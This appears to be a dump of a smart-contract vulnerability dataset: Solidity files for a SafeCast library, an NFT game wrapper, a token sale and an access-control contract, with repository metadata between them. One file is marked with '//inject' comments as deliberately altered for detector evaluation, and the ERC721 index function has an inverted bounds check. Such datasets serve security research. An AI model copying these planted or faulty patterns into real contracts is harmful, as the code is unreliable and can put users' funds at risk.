require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
function toUint120(uint256 value) internal pure returns (uint120) {
require(value <= type(uint120).max, "SafeCast: value doesn't fit in 120 bits");
return uint120(value);
}
function toUint112(uint256 value) internal pure returns (uint112) {
require(value <= type(uint112).max, "SafeCast: value doesn't fit in 112 bits");
return uint112(value);
}
function toUint104(uint256 value) internal pure returns (uint104) {
require(value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits");
return uint104(value);
}
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
function toUint88(uint256 value) internal pure returns (uint88) {
require(value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits");
return uint88(value);
}
function toUint80(uint256 value) internal pure returns (uint80) {
require(value <= type(uint80).max, "SafeCast: value doesn't fit in 80 bits");
return uint80(value);
}
function toUint72(uint256 value) internal pure returns (uint72) {
require(value <= type(uint72).max, "SafeCast: value doesn't fit in 72 bits");
return uint72(value);
}
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
function toUint56(uint256 value) internal pure returns (uint56) {
require(value <= type(uint56).max, "SafeCast: value doesn't fit in 56 bits");
return uint56(value);
}
function toUint48(uint256 value) internal pure returns (uint48) {
require(value <= type(uint48).max, "SafeCast: value doesn't fit in 48 bits");
return uint48(value);
}
function toUint40(uint256 value) internal pure returns (uint40) {
require(value <= type(uint40).max, "SafeCast: value doesn't fit in 40 bits");
return uint40(value);
}
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
function toUint24(uint256 value) internal pure returns (uint24) {
require(value <= type(uint24).max, "SafeCast: value doesn't fit in 24 bits");
return uint24(value);
}
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
function toInt248(int256 value) internal pure returns (int248 downcasted) {
downcasted = int248(value);
require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
}
function toInt240(int256 value) internal pure returns (int240 downcasted) {
downcasted = int240(value);
require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
}
function toInt232(int256 value) internal pure returns (int232 downcasted) {
downcasted = int232(value);
require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
}
function toInt224(int256 value) internal pure returns (int224 downcasted) {
downcasted = int224(value);
require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
}
function toInt216(int256 value) internal pure returns (int216 downcasted) {
downcasted = int216(value);
require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
}
function toInt208(int256 value) internal pure returns (int208 downcasted) {
downcasted = int208(value);
require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
}
function toInt200(int256 value) internal pure returns (int200 downcasted) {
downcasted = int200(value);
require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
}
function toInt192(int256 value) internal pure returns (int192 downcasted) {
downcasted = int192(value);
require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
}
function toInt184(int256 value) internal pure returns (int184 downcasted) {
downcasted = int184(value);
require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
}
function toInt176(int256 value) internal pure returns (int176 downcasted) {
downcasted = int176(value);
require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
}
function toInt168(int256 value) internal pure returns (int168 downcasted) {
downcasted = int168(value);
require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
}
function toInt160(int256 value) internal pure returns (int160 downcasted) {
downcasted = int160(value);
require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
}
function toInt152(int256 value) internal pure returns (int152 downcasted) {
downcasted = int152(value);
require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
}
function toInt144(int256 value) internal pure returns (int144 downcasted) {
downcasted = int144(value);
require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
}
function toInt136(int256 value) internal pure returns (int136 downcasted) {
downcasted = int136(value);
require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
}
function toInt128(int256 value) internal pure returns (int128 downcasted) {
downcasted = int128(value);
require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
}
function toInt120(int256 value) internal pure returns (int120 downcasted) {
downcasted = int120(value);
require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
}
function toInt112(int256 value) internal pure returns (int112 downcasted) {
downcasted = int112(value);
require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
}
function toInt104(int256 value) internal pure returns (int104 downcasted) {
downcasted = int104(value);
require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
}
function toInt96(int256 value) internal pure returns (int96 downcasted) {
downcasted = int96(value);
require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
}
function toInt88(int256 value) internal pure returns (int88 downcasted) {
downcasted = int88(value);
require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
}
function toInt80(int256 value) internal pure returns (int80 downcasted) {
downcasted = int80(value);
require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
}
function toInt72(int256 value) internal pure returns (int72 downcasted) {
downcasted = int72(value);
require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
}
function toInt64(int256 value) internal pure returns (int64 downcasted) {
downcasted = int64(value);
require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
}
function toInt56(int256 value) internal pure returns (int56 downcasted) {
downcasted = int56(value);
require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
}
function toInt48(int256 value) internal pure returns (int48 downcasted) {
downcasted = int48(value);
require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
}
function toInt40(int256 value) internal pure returns (int40 downcasted) {
downcasted = int40(value);
require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
}
function toInt32(int256 value) internal pure returns (int32 downcasted) {
downcasted = int32(value);
require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
}
function toInt24(int256 value) internal pure returns (int24 downcasted) {
downcasted = int24(value);
require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
}
function toInt16(int256 value) internal pure returns (int16 downcasted) {
downcasted = int16(value);
require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
}
function toInt8(int256 value) internal pure returns (int8 downcasted) {
downcasted = int8(value);
require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
}
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
| 3,442 | 520 |
2fe7b4a4cc76e5b016ba568f927d6f08dd5eeacc954a77782ef7a862b47e6489
| 21,658 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf42ed50058b88a063f8bb4060fa6dc269d90b5b9.sol
| 3,463 | 12,971 |
pragma solidity 0.4.24;
interface ERC721Receiver {
///bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(address _operator,
address _from,
uint _tokenId,
bytes _data)
public
returns(bytes4);
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract MyCryptoChampCore{
struct Champ {
uint id;
uint attackPower;
uint defencePower;
uint cooldownTime;
uint readyTime;
uint winCount;
uint lossCount;
uint position;
uint price;
uint withdrawCooldown;
uint eq_sword;
uint eq_shield;
uint eq_helmet;
bool forSale;
}
struct AddressInfo {
uint withdrawal;
uint champsCount;
uint itemsCount;
string name;
}
struct Item {
uint id;
uint8 itemType;
uint8 itemRarity;
uint attackPower;
uint defencePower;
uint cooldownReduction;
uint price;
uint onChampId;
bool onChamp;
bool forSale;
}
Champ[] public champs;
Item[] public items;
mapping (uint => uint) public leaderboard;
mapping (address => AddressInfo) public addressInfo;
mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals;
mapping (bool => mapping(uint => address)) public tokenApprovals;
mapping (bool => mapping(uint => address)) public tokenToOwner;
mapping (uint => string) public champToName;
mapping (bool => uint) public tokensForSaleCount;
uint public pendingWithdrawal = 0;
function addWithdrawal(address _address, uint _amount) public;
function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public;
function setChampsName(uint _champId, string _name) public;
function setLeaderboard(uint _x, uint _value) public;
function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public;
function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public;
function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public;
function setTokensForSaleCount(uint _value, bool _isTokenChamp) public;
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public;
function newChamp(uint _attackPower,uint _defencePower,uint _cooldownTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale,address _owner) public returns (uint);
function newItem(uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale,address _owner) public returns (uint);
function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public;
function updateChamp(uint _champId, uint _attackPower,uint _defencePower,uint _cooldownTime,uint _readyTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _withdrawCooldown,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale) public;
function updateItem(uint _id,uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale) public;
function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256);
function getChampsByOwner(address _owner) external view returns(uint256[]);
function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]);
function getItemsByOwner(address _owner) external view returns(uint256[]);
function getTokenCount(bool _isTokenChamp) external view returns(uint);
function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string);
function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool);
}
contract Ownable {
address internal contractOwner;
constructor () internal {
if(contractOwner == address(0)){
contractOwner = msg.sender;
}
}
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
contractOwner = newOwner;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721 is Ownable, SupportsInterfaceWithLookup {
using AddressUtils for address;
string private _ERC721name = "Champ";
string private _ERC721symbol = "MXC";
bool private tokenIsChamp = true;
address private controllerAddress;
MyCryptoChampCore core;
function setCore(address newCoreAddress) public onlyOwner {
core = MyCryptoChampCore(newCoreAddress);
}
function setController(address _address) external onlyOwner {
controllerAddress = _address;
}
function emitTransfer(address _from, address _to, uint _tokenId) external {
require(msg.sender == controllerAddress);
emit Transfer(_from, _to, _tokenId);
}
//ERC721 START
event Transfer(address indexed _from, address indexed _to, uint indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
bytes4 constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
modifier onlyOwnerOf(uint _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint) {
require(_owner != address(0));
uint balance;
if(tokenIsChamp){
(,balance,,) = core.addressInfo(_owner);
}else{
(,,balance,) = core.addressInfo(_owner);
}
return balance;
}
function ownerOf(uint _tokenId) public view returns (address) {
address owner = core.tokenToOwner(tokenIsChamp,_tokenId);
require(owner != address(0));
return owner;
}
function exists(uint _tokenId) public view returns (bool) {
address owner = core.tokenToOwner(tokenIsChamp,_tokenId);
return owner != address(0);
}
function approve(address _to, uint _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
core.setTokenApproval(_tokenId, _to,tokenIsChamp);
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint _tokenId) public view returns (address) {
return core.tokenApprovals(tokenIsChamp,_tokenId);
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
core.setTokenOperatorApprovals(msg.sender,_to,_approved,tokenIsChamp);
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner,
address _operator)
public
view
returns (bool)
{
return core.tokenOperatorApprovals(tokenIsChamp, _owner,_operator);
}
function isApprovedOrOwner(address _spender,
uint _tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender));
}
function transferFrom(address _from,
address _to,
uint _tokenId)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
core.clearTokenApproval(_from, _tokenId, tokenIsChamp);
core.transferToken(_from, _to, _tokenId, tokenIsChamp);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from,
address _to,
uint _tokenId)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from,
address _to,
uint _tokenId,
bytes _data)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function checkAndCallSafeTransfer(address _from,
address _to,
uint _tokenId,
bytes _data)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
///
/// ERC721Enumerable
///
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint){
return core.getTokenCount(tokenIsChamp);
}
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint _index) external view returns (uint){
uint tokenIndexesLength = this.totalSupply();
require(_index < tokenIndexesLength);
return _index;
}
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint _index) external view returns (uint){
require(_index >= balanceOf(_owner));
require(_owner!=address(0));
uint[] memory tokens;
uint tokenId;
if(tokenIsChamp){
tokens = core.getChampsByOwner(_owner);
}else{
tokens = core.getItemsByOwner(_owner);
}
for(uint i = 0; i < tokens.length; i++){
if(i + 1 == _index){
tokenId = tokens[i];
break;
}
}
return tokenId;
}
///
/// ERC721Metadata
///
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string _name){
return _ERC721name;
}
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string _symbol){
return _ERC721symbol;
}
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint _tokenId) external view returns (string){
require(exists(_tokenId));
return core.getTokenURIs(_tokenId,tokenIsChamp);
}
}
| 220,973 | 521 |
695dba217971dc9aa93bfa6720950ac520689326d429ae8120e49b9167064032
| 18,725 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0x43f7be29d70093c2ce6cc405f85f8ae44afcda10_nonpublicVarAccessdByPublicFunc.sol
| 2,907 | 10,924 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.7.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned {
address payable internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
contract BlackList is Owned {
mapping(address => bool) internal _blacklist;
function lockAccount(address _address) public onlyOwner {
_blacklist[_address] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function unlockAccount(address _address) public onlyOwner {
_blacklist[_address] = false; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function isLocked(address _address) public view returns (bool){
return _blacklist[_address]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
contract ERC20 is IERC20, Owned, BlackList {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view override returns (uint256) {
return _totalSupply; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transfer(address to, uint256 value) public override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public override returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(value == 0 || _allowed[msg.sender][spender] == 0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
require(!isLocked(from), "The account has been locked");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function symbol() public view returns (string memory) {
return _symbol; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function decimals() public view returns (uint8) {
return _decimals; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes calldata _extraData) external;
}
contract UniPeerToken is ERC20, ERC20Detailed('UniPeer', 'PEER', 18) {
using SafeMath for uint256;
uint256 public totalPurchase = 0;
bool internal _playable = true;
uint[4] public volume = [50e18, 250e18, 650e18, 1450e18];
uint[4] public price = [25e18, 20e18, 16e18, 12.8e18];
uint256 public min = 0.2e18;
uint256 public max = 50e18;
constructor (uint256 _totalSupplyOfTokens) {
_mint(msg.sender, _totalSupplyOfTokens.mul(1e18));
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success)
{
approve(_spender, _value);
TokenRecipient(_spender).receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
function playable(bool _value) public onlyOwner() {
_playable = _value; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
modifier inPlayable() {
require(_playable, "Not currently open for purchase");
_;
}
fallback() external payable {
revert();
}
receive() external payable {
_swapToken(msg.sender, msg.value);
}
function buy() payable public {
_swapToken(msg.sender, msg.value);
}
function _swapToken(address buyer, uint256 amount) internal inPlayable() returns (uint256) {
require(amount > 0);
require(amount >= min, "Less than the minimum purchase");
require(amount <= max, 'Maximum purchase limit exceeded');
require(totalPurchase < volume[volume.length - 1], "Out of total purchase!");
(uint256 _swapBalance,uint256 overage) = _calculateToken(amount);
require(_swapBalance <= totalSupply());
require(overage <= amount);
// return _swapBalance;
_transfer(owner, buyer, _swapBalance);
if (overage > 0) {
msg.sender.transfer(overage);
// owner.transfer(amount.sub(overage));
}
// else {
// owner.transfer(amount);
// }
return _swapBalance;
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function burn(address _account, uint256 value) onlyOwner public {
_burn(_account, value);
}
function _calculateToken(uint256 amount) internal returns (uint256, uint256){
// current round
uint round = _round(totalPurchase);
// current price
uint _price = price[round];
// current remaining of round
uint remaining = volume[round].sub(totalPurchase);
uint256 overage = 0;
uint256 res;
// when remaining > amount ,then amount * current price
if (remaining >= amount) {
totalPurchase = totalPurchase.add(amount);
res = amount.mul(_price).div(1e18);
} else {
overage = amount.sub(remaining);
totalPurchase = totalPurchase.add(remaining);
res = remaining.mul(_price);
// only check next segment.because Maximum is 50;
if (round < volume.length - 1) {
res = res.add(overage.mul(price[round + 1])).div(1e18);
totalPurchase = totalPurchase.add(overage);
overage = 0;
}
}
return (res, overage);
}
function _round(uint256 _value) internal view returns (uint){
for (uint i = 0; i < volume.length; i++) {
if (_value < volume[i]) {
return i;
}
}
return 0;
}
}
| 279,904 | 522 |
4c4c7601b7c86e7da3f70188ddd877273b984720f5e952d69b0cdca5c5abcac4
| 18,011 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xae38c27e646959735ec70d77ed4ecc03a3eff490.sol
| 3,712 | 15,098 |
pragma solidity 0.4.15;
/// @title provides subject to role checking logic
contract IAccessPolicy {
////////////////////////
// Public functions
////////////////////////
/// @dev checks if subject belongs to requested role for particular object
/// @param subject address to be checked against role, typically msg.sender
/// @param role identifier of required role
/// @param verb additional data, in current AccessControll implementation msg.sig
/// @return if subject belongs to a role
function allowed(address subject,
bytes32 role,
address object,
bytes4 verb)
public
returns (bool);
}
/// @title enables access control in implementing contract
/// @dev see AccessControlled for implementation
contract IAccessControlled {
////////////////////////
// Events
////////////////////////
/// @dev must log on access policy change
event LogAccessPolicyChanged(address controller,
IAccessPolicy oldPolicy,
IAccessPolicy newPolicy);
////////////////////////
// Public functions
////////////////////////
/// @dev allows to change access control mechanism for this contract
/// @notice it is a huge issue for Solidity that modifiers are not part of function signature
/// then interfaces could be used for example to control access semantics
/// @param newPolicy new access policy to controll this contract
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public;
function accessPolicy()
public
constant
returns (IAccessPolicy);
}
contract StandardRoles {
////////////////////////
// Constants
////////////////////////
// @notice Soldity somehow doesn't evaluate this compile time
bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da;
}
/// @title Granular code execution permissions
/// by msg.sender with ROLE_ACCESS_CONTROLLER role
contract AccessControlled is IAccessControlled, StandardRoles {
////////////////////////
// Mutable state
////////////////////////
IAccessPolicy private _accessPolicy;
////////////////////////
// Modifiers
////////////////////////
/// @dev limits function execution only to senders assigned to required 'role'
modifier only(bytes32 role) {
require(_accessPolicy.allowed(msg.sender, role, this, msg.sig));
_;
}
////////////////////////
// Constructor
////////////////////////
function AccessControlled(IAccessPolicy policy) internal {
require(address(policy) != 0x0);
_accessPolicy = policy;
}
////////////////////////
// Public functions
////////////////////////
//
// Implements IAccessControlled
//
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public
only(ROLE_ACCESS_CONTROLLER)
{
// ROLE_ACCESS_CONTROLLER must be present
// under the new policy. This provides some
// protection against locking yourself out.
require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig));
// We can now safely set the new policy without foot shooting.
IAccessPolicy oldPolicy = _accessPolicy;
_accessPolicy = newPolicy;
// Log event
LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy);
}
function accessPolicy()
public
constant
returns (IAccessPolicy)
{
return _accessPolicy;
}
}
contract AccessRoles {
////////////////////////
// Constants
////////////////////////
// NOTE: All roles are set to the keccak256 hash of the
// CamelCased role name, i.e.
// ROLE_LOCKED_ACCOUNT_ADMIN = keccak256("LockedAccountAdmin")
// may setup LockedAccount, change disbursal mechanism and set migration
bytes32 internal constant ROLE_LOCKED_ACCOUNT_ADMIN = 0x4675da546d2d92c5b86c4f726a9e61010dce91cccc2491ce6019e78b09d2572e;
// may setup whitelists and abort whitelisting contract with curve rollback
bytes32 internal constant ROLE_WHITELIST_ADMIN = 0xaef456e7c864418e1d2a40d996ca4febf3a7e317fe3af5a7ea4dda59033bbe5c;
// May issue (generate) Neumarks
bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c;
// May burn Neumarks it owns
bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f;
// May create new snapshots on Neumark
bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174;
// May enable/disable transfers on Neumark
